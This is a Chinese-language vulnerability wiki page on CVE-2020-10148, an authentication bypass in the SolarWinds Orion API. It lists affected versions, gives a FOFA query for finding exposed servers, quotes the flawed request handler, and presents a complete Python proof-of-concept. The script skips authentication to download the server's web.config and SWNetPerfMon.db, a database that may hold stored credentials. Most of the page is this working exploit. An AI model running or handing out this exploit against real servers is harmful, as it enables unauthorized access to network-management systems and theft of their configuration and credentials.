menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Vulnerability-棱角社区(Vulnerability)项目漏洞-20210715 chevron_right CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞.md
    6.53 KB / 2021-05-21 09:14:38
        # CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞
    
    SolarWinds Inc. 是一家美国公司,为企业提软件以帮助管理其网络,系统和信息技术基础架构。攻击者通过构造恶意URI,可以绕过API身份验证,从而利用API功能造成远程代码执行漏洞。
    
    **影响版本**
    
    SolarWinds Orion 2020.2.1 HF 2 及 2019.4 HF 6之前的版本
    
    SolarWinds.Orion.Web.HttpModules 在 OnRequest 中 构造的path如果含有比如 Skipi18n,以css/js结尾等 ,则会直接context.SkipAuthorization = true 跳过了认证
    
    **FOFA:**
    
    ```
    app="SolarWinds-Network-Performance-Monitor"
    ```
    
    ![](media/16096791801758/16096792717754.jpg)
    
    
    ![](media/16096791801758/16096792775924.jpg)
    
    
    ![](media/16096791801758/16096792831286.jpg)
    
    
    ![](media/16096791801758/16096792882202.jpg)
    
    
    **CVE-2020-10148-poc.py:**
    
    
    ```python
    # CVE-2020-10148  (local file disclosure PoC for SolarWinds Orion aka door to SuperNova ? )
    # @0xSha 
    # (C) 2020 0xSha.io 
    
    # Advisory : https://www.solarwinds.com/securityadvisory
    # Mitigation : https://downloads.solarwinds.com/solarwinds/Support/SupernovaMitigation.zip
    # Details : https://kb.cert.org/vuls/id/843464
    
    # C:\inetpub\SolarWinds\bin\OrionWeb.DLL
    # According to SolarWinds.Orion.Web.HttpModules
    # in case of special strings this will set auth to null user and if case of ending with .i18n.ashx it will read the files
    '''
    private static void OnRequest(object sender, EventArgs e)
                    {
                            HttpApplication httpApplication = (HttpApplication)sender;
                            HttpContext context = httpApplication.Context;
                            string path = context.Request.Path;
                            if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0)
                            {
                                    if (context.User == null || !context.User.Identity.IsAuthenticated)
                                    {
                                            context.SkipAuthorization = true;
                                            context.User = new NullUser();
                                    }
                                    return;
                            }
                            if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase))
                            {
                                    if (context.User == null || !context.User.Identity.IsAuthenticated)
                                    {
                                            context.SkipAuthorization = true;
                                            context.User = new NullUser();
                                    }
                                    LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);
                                    return;
                            }
                            if (!path.EndsWith(".i18n.ashx"))
                            {
                                    return;
                            }
                            string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);
                            string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);
                            context.RewritePath(path2);
                    }
    
            private static string RebuildPath(NameValueCollection nvc, string revisedFile)
                    {
                            return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys
                            where x != "file"
                            select x into key
                            select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());
                    }
    '''
    
    
    #/usr/local/bin/python3
    import requests
    import sys
    
    
    if len(sys.argv) < 2:
        print ("[*] Usage : CVE-2020-10148.py http(s)://target")
        exit(-1)
    
    if not(sys.argv[1].startswith("http://")):
        if not(sys.argv[1].startswith("https://")):
            print("[-] target starts either with http:// or https://")
            exit(-1)
    
    
    print ("[*] Trying to leak valid file version")
    target = sys.argv[1]
    
    # appending .js to always invalid file 
    # we don't verify because of self-signed instances 
    # not really required but doesn't hurt either. 
    leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)  
    
    if(leakVersion.headers["location"]):
        print("[+] Got location header")
        index = leakVersion.headers["location"].index(".i18n.ashx")
        leakedVersion = (leakVersion.headers["location"][index:])
        if (leakedVersion.__contains__("v=")):
            print ("[+] Version seems valid")
        else:
            print("[-] Invalid version")
            exit(-1)
    else:
        print("[-] Can't get a valid version")
        exit(-1)
    
    print("[*] Trying to leak web.config file ")
    #print(target+"/web.config"+leakedVersion)
    leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)
    #print(leakedConfig.status_code)
    
    if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :
        print("[+] Target is vulnerable Got the web.config file ")
        outputFile = target.replace("https://","").replace("http://","")+"_web.config"
        configFile = open(outputFile,"w")
        configFile.write(leakedConfig.text)
        configFile.close() 
        print("[+] web.config written to : " + outputFile )
    else:
        print("[-] Failed to download web.config target is not vulnerable")
        exit(-1)
    
     
    print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")
    # https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US
    # C:\inetpub\SolarWinds\SWNetPerfMon.db
    # C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db
    
    leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)
    
    if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:
        print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")
       
        outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"
        configFile = open(outputFile,"w")
        configFile.write(leakedDB.text)
        configFile.close() 
        # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform
        print("[+] SWNetPerfMon.db written to : " + outputFile )
    else:
        print("[-] Failed to download SWNetPerfMon.db target is on newer version")
        exit(-1)
    ```
    
    参考:
    
    * https://help.aliyun.com/noticelist/articleid/1060774045.html
    * https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
    * https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
    * https://forum.ywhack.com/thread-114894-1-1.html
    
    links
    file_download